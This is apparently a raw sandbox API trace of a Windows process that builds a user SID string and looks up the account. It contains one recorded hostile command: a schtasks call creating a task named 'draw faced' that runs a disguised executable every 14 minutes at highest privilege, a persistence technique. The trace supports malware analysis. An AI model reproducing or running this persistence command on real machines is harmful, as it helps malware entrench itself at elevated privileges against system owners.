0x196ef0d1d00 [0121.242] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0121.242] SysStringLen (param_1="S-1-5") returned 0x5 [0121.242] SysStringLen (param_1="-") returned 0x1 [0121.242] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aa688, _Size=0xc | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0121.242] memcpy (in: _Dst=0x196ee7aaa52, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7aaa52) returned 0x196ee7aaa52 [0121.242] free (_Block=0x196ef0d1bc0) [0121.242] free (_Block=0x196ef0d1d00) [0121.242] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0121.242] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0121.242] SysStringLen (param_1="S-1-5-") returned 0x6 [0121.242] SysStringLen (param_1="21") returned 0x2 [0121.242] memcpy (in: _Dst=0x196ee7c7078, _Src=0x196ee7aaa48, _Size=0xe | out: _Dst=0x196ee7c7078) returned 0x196ee7c7078 [0121.242] memcpy (in: _Dst=0x196ee7c7084, _Src=0x196ee7aa688, _Size=0x6 | out: _Dst=0x196ee7c7084) returned 0x196ee7c7084 [0121.242] free (_Block=0x196ef0d1ec0) [0121.242] free (_Block=0x196ef0d1ba0) [0121.242] GetSidSubAuthority (pSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d10ac [0121.242] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0121.242] malloc (_Size=0x18) returned 0x196ef0d1be0 [0121.242] malloc (_Size=0x18) returned 0x196ef0d1d80 [0121.243] SysStringLen (param_1="S-1-5-21") returned 0x8 [0121.243] SysStringLen (param_1="-") returned 0x1 [0121.243] memcpy (in: _Dst=0x196ee7aa688, _Src=0x196ee7c7078, _Size=0x12 | out: _Dst=0x196ee7aa688) returned 0x196ee7aa688 [0121.243] memcpy (in: _Dst=0x196ee7aa698, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7aa698) returned 0x196ee7aa698 [0121.243] free (_Block=0x196ef0d1ac0) [0121.243] free (_Block=0x196ef0d1be0) [0121.243] malloc (_Size=0x18) returned 0x196ef0d1f40 [0121.243] malloc (_Size=0x18) returned 0x196ef0d1d60 [0121.243] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0121.243] SysStringLen (param_1="1560258661") returned 0xa [0121.243] memcpy (in: _Dst=0x196ee777208, _Src=0x196ee7aa688, _Size=0x14 | out: _Dst=0x196ee777208) returned 0x196ee777208 [0121.243] memcpy (in: _Dst=0x196ee77721a, _Src=0x196ee7c7078, _Size=0x16 | out: _Dst=0x196ee77721a) returned 0x196ee77721a [0121.243] free (_Block=0x196ef0d1d80) [0121.243] free (_Block=0x196ef0d1f40) [0121.243] GetSidSubAuthority (pSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d10b0 [0121.243] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0121.243] malloc (_Size=0x18) returned 0x196ef0d2060 [0121.243] malloc (_Size=0x18) returned 0x196ef0d1b00 [0121.243] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0121.243] SysStringLen (param_1="-") returned 0x1 [0121.243] memcpy (in: _Dst=0x196ee7772f8, _Src=0x196ee777208, _Size=0x28 | out: _Dst=0x196ee7772f8) returned 0x196ee7772f8 [0121.243] memcpy (in: _Dst=0x196ee77731e, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee77731e) returned 0x196ee77731e [0121.243] free (_Block=0x196ef0d1d60) [0121.244] free (_Block=0x196ef0d2060) [0121.244] malloc (_Size=0x18) returned 0x196ef0d2020 [0121.244] malloc (_Size=0x18) returned 0x196ef0d1d60 [0121.244] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0121.244] SysStringLen (param_1="3990802383") returned 0xa [0121.244] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7772f8, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0121.244] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7aa688, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0121.244] free (_Block=0x196ef0d1b00) [0121.244] free (_Block=0x196ef0d2020) [0121.244] GetSidSubAuthority (pSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d10b4 [0121.244] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0121.244] malloc (_Size=0x18) returned 0x196ef0d2080 [0121.244] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0121.244] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0121.244] SysStringLen (param_1="-") returned 0x1 [0121.244] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0121.244] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0121.244] free (_Block=0x196ef0d1d60) [0121.244] free (_Block=0x196ef0d2080) [0121.244] malloc (_Size=0x18) returned 0x196ef0d1b00 [0121.244] malloc (_Size=0x18) returned 0x196ef0d1e00 [0121.244] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0121.244] SysStringLen (param_1="1811730007") returned 0xa [0121.244] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0121.245] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7aa688, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0121.245] free (_Block=0x196ef0d1ce0) [0121.245] free (_Block=0x196ef0d1b00) [0121.245] GetSidSubAuthority (pSid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d10b8 [0121.245] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0121.245] malloc (_Size=0x18) returned 0x196ef0d1b40 [0121.245] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0121.245] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0121.245] SysStringLen (param_1="-") returned 0x1 [0121.245] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0121.245] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0121.245] free (_Block=0x196ef0d1e00) [0121.245] free (_Block=0x196ef0d1b40) [0121.245] malloc (_Size=0x18) returned 0x196ef0d1a60 [0121.245] malloc (_Size=0x18) returned 0x196ef0d1be0 [0121.245] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0121.245] SysStringLen (param_1="1000") returned 0x4 [0121.245] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0121.245] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7aa688, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0121.245] free (_Block=0x196ef0d1ca0) [0121.246] free (_Block=0x196ef0d1a60) [0121.246] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0121.246] malloc (_Size=0x5e) returned 0x196ef0d0370 [0121.246] free (_Block=0x196ef0d1be0) [0121.246] malloc (_Size=0x18) returned 0x196ef0d20c0 [0121.246] free (_Block=0x196ef0d0370) [0121.259] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0121.260] GetLastError () returned 0x7a [0121.260] malloc (_Size=0x1a) returned 0x196ef0f9c40 [0121.260] malloc (_Size=0xe) returned 0x196ef0d1ce0 [0121.260] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d10a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9c40, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1ce0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0121.261] malloc (_Size=0x18) returned 0x196ef0d1d20 [0121.261] malloc (_Size=0x18) returned 0x196ef0d1a20 [0121.261] free (_Block=0x196ef0f9c40) [0121.261] free (_Block=0x196ef0d1ce0) [0121.261] free (_Block=0x196ef0f9ee0) [0121.261] free (_Block=0x196ef0d1a20) [0121.261] free (_Block=0x196ef0d1d20) [0121.261] free (_Block=0x196ef0d20c0) [0121.262] free (_Block=0x196ef0d1090) [0121.262] SetEvent (hEvent=0x248) returned 1 [0121.263] free (_Block=0x196ef0cd160) [0121.263] CreateEnvironmentBlock () returned 0x1 [0121.267] malloc (_Size=0x18) returned 0x196ef0d1c60 [0121.267] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"draw faced\" /sc MINUTE /mo 14 /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"draw faced\" /sc MINUTE /mo 14 /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x12c8, dwThreadId=0x12f0)) returned 1 [0121.274] CloseHandle (hObject=0x260) returned 1 [0121.274] CloseHandle (hObject=0x264) returned 1 [0121.274] free (_Block=0x196ef0d1c60) [0121.274] DestroyEnvironmentBlock () returned 0x1 [0121.275] malloc (_Size=0x48) returned 0x196ef0cd160 [0121.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x29230599, dwHighDateTime=0x1d9eb0c)) [0121.275] SetEvent (hEvent=0x248) returned 1 [0121.275] CloseHandle (hObject=0x270) returned 1 [0121.275] CloseHandle (hObject=0x26c) returned 1 [0121.281] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788350 [0121.281] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788350, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0121.281] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0121.281] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0122.157] RtlRestoreLastWin32Error () returned 0x670dbf000 [0122.157] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0122.157] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0122.157] RtlRestoreLastWin32Error () returned 0x670dbf000 [0122.157] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0122.157] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0122.157] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0122.157] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0122.157] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0122.157] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0122.161] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0122.162] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0122.162] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0122.162] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0122.162] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0122.165] GetCurrentThread () returned 0xfffffffffffffffe [0122.165] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0122.165] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0122.165] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0122.166] GetLastError () returned 0x7a [0122.166] malloc (_Size=0x2c) returned 0x196ef0d0c10 [0122.166] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0c10, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0c10, ReturnLength=0x67117c740) returned 1 [0122.166] IsValidSid (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0122.166] GetLengthSid (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0122.166] malloc (_Size=0x1c) returned 0x196ef0f9dc0 [0122.166] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9dc0, pSourceSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0122.166] GetSidIdentifierAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0c22 [0122.166] malloc (_Size=0x18) returned 0x196ef0d1b40 [0122.166] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0122.166] malloc (_Size=0x18) returned 0x196ef0d1c00 [0122.166] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0122.166] SysStringLen (param_1="S-1-") returned 0x4 [0122.166] SysStringLen (param_1="5") returned 0x1 [0122.166] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0122.166] memcpy (in: _Dst=0x196ee7aa9f0, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7aa9f0) returned 0x196ee7aa9f0 [0122.166] free (_Block=0x196ef0d1b40) [0122.166] free (_Block=0x196ef0d1c00) [0122.166] GetSidSubAuthorityCount (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0c21 [0122.166] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0c28 [0122.167] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0122.167] malloc (_Size=0x18) returned 0x196ef0d1de0 [0122.167] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0122.167] SysStringLen (param_1="S-1-5") returned 0x5 [0122.167] SysStringLen (param_1="-") returned 0x1 [0122.167] memcpy (in: _Dst=0x196ee7c7558, _Src=0x196ee7aa9e8, _Size=0xc | out: _Dst=0x196ee7c7558) returned 0x196ee7c7558 [0122.167] memcpy (in: _Dst=0x196ee7c7562, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7c7562) returned 0x196ee7c7562 [0122.167] free (_Block=0x196ef0d1fa0) [0122.167] free (_Block=0x196ef0d1de0) [0122.167] malloc (_Size=0x18) returned 0x196ef0d1f40 [0122.167] malloc (_Size=0x18) returned 0x196ef0d1d40 [0122.167] SysStringLen (param_1="S-1-5-") returned 0x6 [0122.167] SysStringLen (param_1="21") returned 0x2 [0122.167] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7c7558, _Size=0xe | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0122.167] memcpy (in: _Dst=0x196ee7aab44, _Src=0x196ee7aa9e8, _Size=0x6 | out: _Dst=0x196ee7aab44) returned 0x196ee7aab44 [0122.167] free (_Block=0x196ef0d1ba0) [0122.167] free (_Block=0x196ef0d1f40) [0122.168] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0c2c [0122.168] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0122.168] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0122.168] malloc (_Size=0x18) returned 0x196ef0d1a80 [0122.168] SysStringLen (param_1="S-1-5-21") returned 0x8 [0122.168] SysStringLen (param_1="-") returned 0x1 [0122.168] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aab38, _Size=0x12 | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0122.168] memcpy (in: _Dst=0x196ee7aa9f8, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7aa9f8) returned 0x196ee7aa9f8 [0122.168] free (_Block=0x196ef0d1d40) [0122.170] free (_Block=0x196ef0d1ac0) [0122.170] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0122.170] malloc (_Size=0x18) returned 0x196ef0d1c40 [0122.170] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0122.170] SysStringLen (param_1="1560258661") returned 0xa [0122.170] memcpy (in: _Dst=0x196ee777c08, _Src=0x196ee7aa9e8, _Size=0x14 | out: _Dst=0x196ee777c08) returned 0x196ee777c08 [0122.170] memcpy (in: _Dst=0x196ee777c1a, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee777c1a) returned 0x196ee777c1a [0122.170] free (_Block=0x196ef0d1a80) [0122.170] free (_Block=0x196ef0d1ac0) [0122.170] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0c30 [0122.171] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0122.171] malloc (_Size=0x18) returned 0x196ef0d1b40 [0122.171] malloc (_Size=0x18) returned 0x196ef0d19c0 [0122.171] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0122.171] SysStringLen (param_1="-") returned 0x1 [0122.171] memcpy (in: _Dst=0x196ee777758, _Src=0x196ee777c08, _Size=0x28 | out: _Dst=0x196ee777758) returned 0x196ee777758 [0122.171] memcpy (in: _Dst=0x196ee77777e, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee77777e) returned 0x196ee77777e [0122.171] free (_Block=0x196ef0d1c40) [0122.171] free (_Block=0x196ef0d1b40) [0122.171] malloc (_Size=0x18) returned 0x196ef0d1b00 [0122.171] malloc (_Size=0x18) returned 0x196ef0d19a0 [0122.171] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0122.171] SysStringLen (param_1="3990802383") returned 0xa [0122.171] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee777758, _Size=0x2a | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0122.171] memcpy (in: _Dst=0x196ee7aae10, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee7aae10) returned 0x196ee7aae10 [0122.171] free (_Block=0x196ef0d19c0) [0122.171] free (_Block=0x196ef0d1b00) [0122.171] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0c34 [0122.172] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0122.172] malloc (_Size=0x18) returned 0x196ef0d19c0 [0122.172] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0122.172] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0122.172] SysStringLen (param_1="-") returned 0x1 [0122.172] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x3e | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0122.172] memcpy (in: _Dst=0x196ee7b9c34, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7b9c34) returned 0x196ee7b9c34 [0122.172] free (_Block=0x196ef0d19a0) [0122.172] free (_Block=0x196ef0d19c0) [0122.172] malloc (_Size=0x18) returned 0x196ef0d1e60 [0122.172] malloc (_Size=0x18) returned 0x196ef0d1e20 [0122.172] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0122.172] SysStringLen (param_1="1811730007") returned 0xa [0122.172] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x40 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0122.172] memcpy (in: _Dst=0x196ee7aae26, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee7aae26) returned 0x196ee7aae26 [0122.172] free (_Block=0x196ef0d1ba0) [0122.172] free (_Block=0x196ef0d1e60) [0122.172] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0c38 [0122.172] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0122.172] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0122.173] malloc (_Size=0x18) returned 0x196ef0d1e60 [0122.173] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0122.173] SysStringLen (param_1="-") returned 0x1 [0122.173] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x54 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0122.173] memcpy (in: _Dst=0x196ee7b9c4a, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7b9c4a) returned 0x196ee7b9c4a [0122.173] free (_Block=0x196ef0d1e20) [0122.173] free (_Block=0x196ef0d1cc0) [0122.173] malloc (_Size=0x18) returned 0x196ef0d19a0 [0122.173] malloc (_Size=0x18) returned 0x196ef0d1a60 [0122.173] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0122.173] SysStringLen (param_1="1000") returned 0x4 [0122.173] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x56 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0122.173] memcpy (in: _Dst=0x196ee7aae3c, _Src=0x196ee7aa9e8, _Size=0xa | out: _Dst=0x196ee7aae3c) returned 0x196ee7aae3c [0122.173] free (_Block=0x196ef0d1e60) [0122.173] free (_Block=0x196ef0d19a0) [0122.173] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0122.173] malloc (_Size=0x5e) returned 0x196ef0d0680 [0122.173] free (_Block=0x196ef0d1a60) [0122.174] malloc (_Size=0x18) returned 0x196ef0d1d20 [0122.174] free (_Block=0x196ef0d0680) [0122.174] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0122.176] GetLastError () returned 0x7a [0122.176] malloc (_Size=0x1a) returned 0x196ef0f9d00 [0122.176] malloc (_Size=0xe) returned 0x196ef0d1d80 [0122.176] 